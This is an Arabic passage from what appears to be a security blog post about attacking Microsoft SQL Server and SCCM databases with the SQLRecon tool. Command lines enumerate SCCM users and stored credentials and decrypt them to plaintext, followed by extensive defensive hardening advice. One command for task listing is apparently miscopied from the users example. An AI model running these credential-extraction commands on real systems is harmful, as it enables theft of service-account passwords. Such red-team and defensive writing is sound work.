الشكل 29: تعداد قواعد البيانات على MECM01

كما يظهر في لقطة الشاشة أعلاه، توجد قاعدة بيانات CM_KAW  ، وهي على الأرجح قاعدة بيانات جرى تكوينها من أجل SCCM على هذا الخادم.

يُضاف دائمًا إلى وحدات SCCM الحرف s ، وستحتاج هذه الوحدات إلى اسم قاعدة بيانات SCCM التي تريد إصدار الأوامر عليها. في المثال التالي، اتصلت مع CM_KAW  على MECM01  بصفة KAWALABS\mssccm_svc  الحساب وإصدار sUsers الأمر . تعد هذه الوحدة جميع المستخدمين الأساسين الذي جرى تكوينهم لتسجيل الدخول إلى خادم SCCM.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

الشكل 30: تعداد جميع المستخدمين الذين يمكنهم تسجيل الدخول إلى SCCM عبر قاعدة بيانات SCCM SQL Server

من الممكن أيضًا تعداد المهام التي جرى تكوينها في SCCM باستخدام sTaskList  .

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers

الشكل 31: تعداد المهام التي جرى تكوينها في SCCM عبر قاعدة بيانات SCCM SQL Server

عادة ما يحتاج SCCM إلى تخزين بيانات الاعتماد، والتي تُستخدم للمصادقة على الأنظمة أو الموارد في بيئة معينة لنشر حزم البرمجيات أو تنفيذ أي من الإجراءات المختلفة الأخرى التي يوفرها SCCM. باستخدام وحدة sCredentials  ، يمكننا الحصول على قائمة ببيانات الاعتماد المخزنة.

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials

الشكل 32: الحصول على بيانات الاعتماد المخزنة عبر قاعدة بيانات SCCM SQL Server

في لقطة الشاشة أعلاه، يمكننا أن نرى أن إحدى بيانات الاعتماد جرى تخزينها، وهي بيانات الاعتماد خاصة بحساب KAWALABS\mssccm_svc  .

باستخداممنطقAdam Chester( @_xpn_)، يمكن فك تشفير بيانات اعتماد SCCM المخزنة والحصول على كلمة مرور غير مشفرة للحسابات المخزنة. يتطلب هذا امتيازات المسؤول المحلي على خادم SCCM. في لقطة الشاشة التالية، أستخدم حساب sDecryptCredentials  لفك تشفير بيانات الاعتماد المخزّنة لحساب KAWALABS\mssccm_svc  .

SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials

الشكل 33: فك تشفير بيانات اعتماد SCCM المخزّنة

لمنع المهاجمين من استغلال SQL Server، يمكن للمدافعين اعتماد نهج متعدد الطبقات عند تنفيذ ضوابط الأمان. أولًا وقبل كل شيء، أنصح بشدة بقراءة الإرشادات الرسمية من Microsoft حول أفضل ممارسات أمن SQL Server.

الخطوة التالية يجب أن تكون توجيهات الوقاية والكشف والحد من المشكلات الموجودة فيSQLRecon wiki، الذي يحتوي على اعتبارات دفاعية ممتازة. لقد اخترت بعض الضوابط الأكثر أهمية للتنفيذ وأدرجتها أدناه.

ينبغي أن تؤخذ الضوابط الأمنية التالية في الحسبان لتنفيذها على مستوى الشبكة.

• تأكد من أخذ مسارات الشبكة إلى SQL Server في الحسبان وقصرها على مجموعة معتمدة فقط من الأنظمة أو الشبكات الفرعية. نادرًا ما تتطلب أجهزة العمل إمكانية الاتصال المباشر بخوادم SQL Server. ولا تنسَ حظر الوصول إلى TCP 1433 إن أمكن.
• تأكد من أن أدوات التسجيل والمراقبة الخاصة بالشبكة تجمع استعلامات SQL التي تجتاز حدود الشبكة. سيكون من غير المعتاد أن يرسل جهاز العمل استعلامات SQL إلى خادم SQL.

أجهزة العمل والخوادم في البيئة.

• تأكد من تفعيل ضوابط الأمان القائمة على المضيف، مثل حلول اكتشاف نقاط النهاية والاستجابة لها، وتحديث توقيعات المنتجات بالكامل بشكل منتظم.
• يجب على فرق الدفاع التأكد من تثبيت إطار عمل .NET v4.8 على نقاط نهاية Windows وأن أي منتج أمني قائم على المضيف مستخدم يدعم AMSI الخاص بإطار .NET. وهذا يسمح بفحص تجميعات .NET المخزنة في الذاكرة.
• تمكين أو تكوين حل يسمح بإدراج التطبيقات لمنع الملفات الثنائية غير الموقعة، مثل SQLRecon ، من التنفيذ مباشرة على نقطة النهاية.

• تأكد من تطبيق إرشادات تعزيز الأمان على نظام تشغيل Windows Server الأساسي. ضع في حسبانك تثبيت عناصر قاعدة بيانات SQL الضرورية فقط.
• تأكد من تضمين خوادم SQL Server ضمن سياسة إدارة التحديثات الأمنية الخاصة بالمؤسسة وإجراء التحديثات الأمنية بشكل روتيني على خدمة SQL وخادم SQL.
• ضع في حسبانك تقييد أو إزالة حساب BUILTIN\Users  من المصادقة على مثيلات SQL Server.
• اتبع مبدأ الحد الأدنى من الامتيازات عند تكوين الأدوار لحسابات المستخدمين. ينبغي أيضًا تطبيق هذا المبدأ على حساب الخدمة الذي يبدأ تشغيل SQL Server.
• أزل ارتباطات الاسم الأساسي لخدمة SQL غير الضرورية.
• استخدم كلمات مرور قوية لأي حساب محلي، مثل sa  الحساب.
• سجل أحداث تسجيل الدخول إلى SQL Server واجمعها في مكان مركزي وراجعها. كتبتNetwrix مدونة رائعة حول كيفية تحقيق ذلك.
• شفر المحتوى الحساس. هذا يحمي مجموعات البيانات من التعرض للاختراق، حتى في حال تعرض SQL Server نفسه للاختراق.
• قيّم الروابط بين SQL Server وحدد نوع المصادقة الخاصة بالرابط. إن أمكن، اختر استخدام سياق أمن المصادقة الحالي، بدلاً من استخدام سياق sa  الحساب.
• قيّم أي عمليات انتحال هوية جرى تكوينها وحدد متطلباتها.
• إذا كنت تستخدم Azure SQL Database، تأكد من تمكين ميزة الحماية من التهديدات المتقدمة من Microsoft وتكوينها بحيث ترسل التنبيهات.

لا تزال الهجمات على SQL Server متصدرة في مجال الأمن الإلكتروني اليوم. يعمل الخصوم دومًا على تطوير تقنياتهم لاختراق ضوابط الحماية، ولهذا يستغلون بشكل متزايد الخدمات الإضافية مثل SQL Server. وقد أصبحت هذه الهجمات أكثر تطورًا وخفية، وغالبًا ما تستخدم تقنيات أقل شهرة لتجاوز التدابير الأمنية التقليدية.

من خلال استغلال SQL Server، يمكن للخصوم الحصول على إمكانية وصول غير مصرح بها إلى البيانات الحساسة، والتلاعب بقواعد البيانات، بل حتى اختراق الأنظمة بأكملها. ويمكن أن تكون عواقب هذه الهجمات وخيمة، ما يؤدي إلى حوادث اختراق أمن البيانات، وخسائر مالية، وأضرار تلحق بسمعة المؤسسة.

لتقليل مخاطر هذه الهجمات، ينبغي للمؤسسات مراجعة تكوينات SQL Server وتبني أفضل الممارسات الأمنية. علاوة على ذلك، يجب على المؤسسات الاستثمار في حلول أمنية توفر إمكانات المراقبة الفورية، واكتشاف الحالات الشاذة، وتحليل السلوك. يمكن لهذه الحلول أن تساعد على اكتشاف الهجمات والاستجابة لها بشكل أكثر فعالية، ما يقلل من التأثير المحتمل على البيانات والأنظمة الحساسة. ومن خلال اتخاذ تدابير استباقية لتأمين بيئات SQL Server، يمكن للمؤسسات تقليل خطر الوقوع ضحية لهذه الهجمات بشكل كبير وحماية أصول بياناتها القيمة.

يمكنك دائمًا العثور على أحدث إصدار مستقر من SQLRecon  على صفحة X-Force Red Github .

إذا كنت ستحضر مؤتمر Black Hat Las Vegas وكنت مهتمًا بمعرفة المزيد، فيمكنك حضور جلستي: اختراق Microsoft SQL Server باستخدام SQLRecon يوم الخميس 10 أغسطس في الساعة 1:00 ظهرًا بتوقيت المحيط الهادئ.